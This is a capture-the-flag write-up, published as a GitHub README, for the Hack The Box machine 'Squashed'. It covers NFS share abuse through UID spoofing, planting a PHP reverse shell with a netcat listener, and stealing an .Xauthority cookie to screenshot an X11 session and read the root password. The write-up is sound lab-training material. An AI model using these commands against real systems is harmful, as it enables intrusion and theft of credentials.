Skip to content

retr0-1ntell0/Squashed---HTB-writeup

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

description cover coverY
Squashed is an easy Linux box from Hackthebox, that will help us understand the importance of the user id, groups and how to exploit the X11 protocol in order to gain root access
.gitbook/assets/Squashed.png
267.0443814919735

Squashed (HTB Easy)

Intelligence Gathering 🕵🏾

Let’s start by enumerating the service running using NMAP (Network MAPper)

nmap -p- -T4 -vv -oN all-port.log 10.10.11.191

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63
111/tcp   open  rpcbind syn-ack ttl 63
2049/tcp  open  nfs     syn-ack ttl 63
33561/tcp open  unknown syn-ack ttl 63
36027/tcp open  unknown syn-ack ttl 63
46379/tcp open  unknown syn-ack ttl 63
48605/tcp open  unknown syn-ack ttl 63

nmap -p22,80,111,2049 -sVC -vv -T4 10.10.11.191

PORT      STATE  SERVICE REASON         VERSION                                                                    
22/tcp    open   ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)               
80/tcp    open   http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))                                             
| http-methods:                                                                                                    
|_  Supported Methods: GET POST OPTIONS HEAD                                                                       
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                       
|_http-title: Built Better                                                                                         
111/tcp   open   rpcbind syn-ack ttl 63 2-4 (RPC #100000)                                                          
| rpcinfo:                                                                                                         
|   program version    port/proto  service                                                                         
|   100000  2,3,4        111/tcp   rpcbind                                                                         
|   100000  2,3,4        111/udp   rpcbind                                                                         
|   100000  3,4          111/tcp6  rpcbind                                                                         
|   100000  3,4          111/udp6  rpcbind                                                                         
|   100003  3           2049/udp   nfs                                                                             
|   100003  3           2049/udp6  nfs                                                                             
|   100003  3,4         2049/tcp   nfs                                                                             
|   100003  3,4         2049/tcp6  nfs                                                                             
|   100005  1,2,3      33457/tcp6  mountd                                                                          
|   100005  1,2,3      48429/udp   mountd                                                                          
|   100005  1,2,3      51461/tcp   mountd                                                                          
|   100005  1,2,3      57556/udp6  mountd                                                                          
|   100021  1,3,4      34736/udp6  nlockmgr
|   100021  1,3,4      42091/tcp6  nlockmgr
|   100021  1,3,4      45453/tcp   nlockmgr
|   100021  1,3,4      48090/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open   nfs_acl syn-ack ttl 63 3 (RPC #100227)

Trying to connect anonymously to RPC is not allowed on this server.

➜ rpcclient -U "" -N 10.10.11.191
Cannot connect to server.  Error was NT_STATUS_CONNECTION_REFUSED

Foothold & User Flag 👣

since we have the nfs open, let’s try to see, with the help of this article, how to enumerate the nfs service. To do so, we use the showmount command in order to display the mounted files on the server. Here is an output

➜ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

With this we can see the name of a ‘ross’. Now let’s try to mount those folders into our machine by doing the following:

sudo mount -t nfs 10.10.11.191:/home/ross /mnt/squashed/ -o nolock

Once mounted, we can now browse the mounted directory under /mnt/squashed. After enumerating the directory, we found a Passwords.kbx file which of course is not readable by humans. A quick file description tell us more about the file

➜  ls -l
total 4
-rw-rw-r-- 1 1001 1001 1365 Oct 19 07:57 Passwords.kdbx
➜ file Passwords.kdbx
Passwords.kdbx: Keepass password database 2.x KDBX

After a quick Google search, we found out that keep pass is an open source password manager, and can is vulnerable. Meaning, we can easily crack it using johntheripper/john

First we need to extract the hash using keepass2john and then crack the hash using hashcat

After many failed attempts, keepass2john is not hashing the password. Let’s take another route. This time there is one thing that caught my attention. The fact that while listing the files I could notice one thing. The mounted file doesn’t belong to any user but instead on the UID(User ID) and group of 1001.

After running these commands, the file user and groups also changed to own new user which happens to have the same UID as the user on the target machine

After all that trouble, i did not find anything interesting

➜ sudo mount -t nfs 10.10.11.191:/var/www/html /mnt/www/
mount.nfs: access denied by server while mounting 10.10.11.191:/var/www/html

We cannot mount the /var/www/html we do not have the right permission. a quick ls -l /mnt/www which is where i intended to mount the /var/www/html show that this time the UID is 2017.

➜  ls -ld /mnt/www/
drwxr-xr-- 5 **2017** www-data 4096 Dec  2 13:20 /mnt/www/

Which in my opinion can be accessed by our lbl user once we alter is UID.

We can do that by running the following:

sudo usermod -u 2017 lbl

Now we can read the source files of the app now and the web server as well, since it’s mounted it means if we can add a file it should reflect on the server. We can read, let’s see if we can write on this folder

$ touch rev
$ ls -l
total 44
drwxr-xr-x 2 lbl www-data  4096 Dec  2 13:50 css
drwxr-xr-x 2 lbl www-data  4096 Dec  2 13:50 images
-rw-r----- 1 lbl www-data 32532 Dec  2 13:50 index.html
drwxr-xr-x 2 lbl www-data  4096 Dec  2 13:50 js
**-rw-rw-r-- 1 lbl lbl          0 Dec  2 13:53 rev**

we added a content on that file just to see what is happening. The file content is just ‘interesting…’. Now it’s confirmed we can read and write on the server’s folder. This is interesting indeed because now it shows that we can inject our reverse shell and execute it by ourselves.

web server file injection

Now let’s craft our reverse shell properly, well no need to craft but there is this link that got it figure out. We will get that php file and modifies the rev file we created in the server. One thing left to do is to run the listener and wait to intercept the connection. One may ask why i choose PHP, and it’s actually because of the info leaked in the .htaccess file

$ cat .htaccess
AddType application/x-httpd-php .htm .html
nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.191 38300
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 20:23:21 up 14:59,  1 user,  load average: 0.05, 0.03, 0.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               05:24   14:59m  1:40   0.03s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
alex
$ id
uid=2017(alex) gid=2017(alex) groups=2017(alex)
$ groups
alex

Now let’s stabilize our shell by doing the following:

alex@squashed:/home/alex$ **script /dev/null -c bash**                                                          [12/12]
script /dev/null -c bash                                                                                           
Script started, file is /dev/null                                                                                  
alex@squashed:/home/alex$ **^Z**                                                                                       
[1]+  Stopped                 nc -nvlp 1234                                                                        
                                                                                                                   
d0n in ~/Squashed/Intell on ☁️                                                                                 
✦ 🕘 14:38:22 ✖  **stty raw -echo; fg**                                                                                
nc -nvlp 1234                                                                                                      
             **reset**                                                                                                 
alex@squashed:/home/alex$ export SHELL=bash

Privilege Escalation(Privesc) 🏴‍☠️

Now time to get to the system user.

After running linpeas and a ton of enumeration nothing popped out but the .Xauthority file found in ross home directory. As Alex we were not able to read the content of the file, so we went back to mount the file just as we did before with the user we created earlier ‘lbl’, we will need to change his UID in 1001 in order to see the content of the file

According to this article, .Xauthority file is a file used by the X window system to control access to user’s X server.

$ cat .Xauthority

squashed.htb0MIT-MAGIC-COOKIE-1O1hq> }U$

After some research, I found an interesting article from hacktricks about pentesting X11 protocol. There i found out there was a way to test the connection to the X11, by checking the with these different commands. First we checked the connected users with ‘w’, then we try to verify the connection to the X11 in two different ways first with the xdpyinfo and then with xwininfo. Sadly, these two commands gave no results

alex@squashed:/home/alex$ w
 02:21:43 up 20:57,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     **:0**               Fri05   20:57m  2:20   0.03s /usr/libexec/gn
alex@squashed:/home/alex$ xdpyinfo -display **:0**
No protocol specified
xdpyinfo:  unable to open display ":0".
alex@squashed:/home/alex$ xwininfo -root -tree -display :0
No protocol specified
xwininfo: error: unable to open display ":0"

under /home/alex the file .Xauthority was not found, but we do have access to the one of ross from the mounted folder. Let’s try to transfer ross’ .Xauthority file into /home/alex. Once done, we got the file and the encrypted content in the /home/alex directory. We can now start our enumeration of X11 again.

After uploading the .Xauthority file, we are still not able to run the 2 verification commands. The fact that the file is supposed to stay in the $HOME environment, for instance /home/ross or /home/alex, is a hint because when checking the environment variables, there was nothing like a HOME variable, so we need to set it up and try again to see.

alex@squashed:/home/alex$ env
SHELL=bash
PWD=/home/alex
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=0e79c2b4e7404955b90623fe6a501218
APACHE_PID_FILE=/var/run/apache2/apache2.pid
TERM=xterm-256color
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=2
LC_CTYPE=C.UTF-8
APACHE_RUN_DIR=/var/run/apache2
JOURNAL_STREAM=9:27149
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
OLDPWD=/home/ross
_=/usr/bin/env
alex@squashed:/home/alex$ export HOME=/home/alex
alex@squashed:~$ env
SHELL=bash
PWD=/home/alex
HOME=/home/alex
APACHE_LOG_DIR=/var/log/apache2
LANG=C
[skip]

Now that our HOME variable is set, let’s try again and we got some output now, which means that the system can now read the cookie/auth file.

alex@squashed:~$ xdpyinfo -display
[skip]
visual:                                                                                                          
    visual id:    0x428                                                                                            
    class:    TrueColor                                                                                            
    depth:    24 planes                                                                                            
    available colormap entries:    256 per subfield                                                                
    red, green, blue masks:    0xff0000, 0xff00, 0xff                                                              
    significant bits in color specification:    8 bits
[skip]
alex@squashed:~$ xwininfo -root -tree -display :0

xwininfo: Window id: 0x533 (the root window) (has no name)

  Root window id: 0x533 (the root window) (has no name)
  Parent window id: 0x0 (none)
     26 children:
     0x80000b "gnome-shell": ("gnome-shell" "Gnome-shell")  1x1+-200+-200  +-200+-200
        1 child:
        0x80000c (has no name): ()  1x1+-1+-1  +-201+-201
     0x800021 (has no name): ()  802x575+-1+26  +-1+26
        1 child:
        0x1c00006 "Passwords - KeePassXC": ("keepassxc" "keepassxc")  800x536+1+38  +0+64
           1 child:
           0x1c000fe "Qt NET_WM User Time Window": ()  1x1+-1+-1  +-1+63
     0x1c00008 "Qt Client Leader Window": ()  1x1+0+0  +0+0
     0x800017 (has no name): ()  1x1+-1+-1  +-1+-1
     0x2000001 "evolution-alarm-notify": ("evolution-alarm-notify" "Evolution-alarm-notify")  10x10+10+10  +10+10
     0x1e00001 "keepassxc": ("keepassxc" "Keepassxc")  10x10+10+10  +10+10
     0x1c00004 "Qt Selection Owner for keepassxc": ()  3x3+0+0  +0+0
     0x1600001 "gsd-wacom": ("gsd-wacom" "Gsd-wacom")  10x10+10+10  +10+10
     0x1a00002 (has no name): ()  10x10+0+0  +0+0
     0x1a00001 "gsd-xsettings": ("gsd-xsettings" "Gsd-xsettings")  10x10+10+10  +10+10
     0x1800001 "gsd-media-keys": ("gsd-media-keys" "Gsd-media-keys")  10x10+10+10  +10+10
     0x1400001 "gsd-color": ("gsd-color" "Gsd-color")  10x10+10+10  +10+10
     0x1200001 "gsd-keyboard": ("gsd-keyboard" "Gsd-keyboard")  10x10+10+10  +10+10
     0x1000001 "gsd-power": ("gsd-power" "Gsd-power")  10x10+10+10  +10+10
     0xc00001 "ibus-extension-gtk3": ("ibus-extension-gtk3" "Ibus-extension-gtk3")  10x10+10+10  +10+10
     0xa00003 "ibus-xim": ()  1x1+0+0  +0+0
        1 child:
        0xa00004 (has no name): ()  1x1+-1+-1  +-1+-1
     0xa00001 "ibus-x11": ("ibus-x11" "Ibus-x11")  10x10+10+10  +10+10
     0x800011 (has no name): ()  1x1+-100+-100  +-100+-100
     0x80000f (has no name): ()  1x1+-1+-1  +-1+-1
     0x800009 (has no name): ()  1x1+-100+-100  +-100+-100
     0x800008 (has no name): ()  1x1+-100+-100  +-100+-100
     0x800007 (has no name): ()  1x1+-100+-100  +-100+-100
     0x800006 "GNOME Shell": ()  1x1+-100+-100  +-100+-100
     0x800001 "gnome-shell": ("gnome-shell" "Gnome-shell")  10x10+10+10  +10+10
     0x600008 (has no name): ()  1x1+-100+-100  +-100+-100
     0x800010 "mutter guard window": ()  800x600+0+0  +0+0

As we can see the root user is connected and has all these windows open. According to the process mentioned in Hacktricks, we can see that we need to run a command to screenshot the credentials of the root user

The first command did not work because of the fact that we are inside the machine so the I.P was not needed at this point.

alex@squashed:~$ xwd -root -screen -silent -display 10.10.11.191:0 > screenshot.xwd
xwd:  unable to open display '10.10.11.191:0'
alex@squashed:~$ xwd -root -screen -silent -display :0 > screenshot.xwd
alex@squashed:~$ file screenshot.xwd 
screenshot.xwd: XWD X Window Dump image data, "xwdump", 800x600x24

Few things left to do, for those who don’t have it installed, convert is a program member of the ImageMagick suite of tools. Now, I will serve the file to my machine and convert it to a png or jpg file the choice is yours, then let’s open the converted file.

Connecting to 10.10.11.191:8080... connected.                                                               [17/64]
HTTP request sent, awaiting response... 200 OK                                                                     
Length: 1923179 (1.8M) [image/x-xwindowdump]                                                                       
Saving to: ‘screenshot.xwd’                                                                                        
                                                                                                                   
screenshot.xwd              100%[=============================================>]   1.83M  1.16MB/s    in 1.6s     
                                                                                                                   
2022-12-02 21:19:45 (1.16 MB/s) - ‘screenshot.xwd’ saved [1923179/1923179]                                         
                                                                                                                   
                                                                                                                   
d0n in ~/Squashed/Intell/Remote-Files on ☁️                                                                         
➜  convert screenshot.xwd screenshot.jpg

once done, and booya ! we got the root password

screenshot.jpg

and the rest is just to read to log in as root with his password, by running su root and finally read the root.txt flag

root flag

I hope this helped you understand the box, Happy hacking !

{% embed url="https://app.hackthebox.com/profile/435501" %}

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published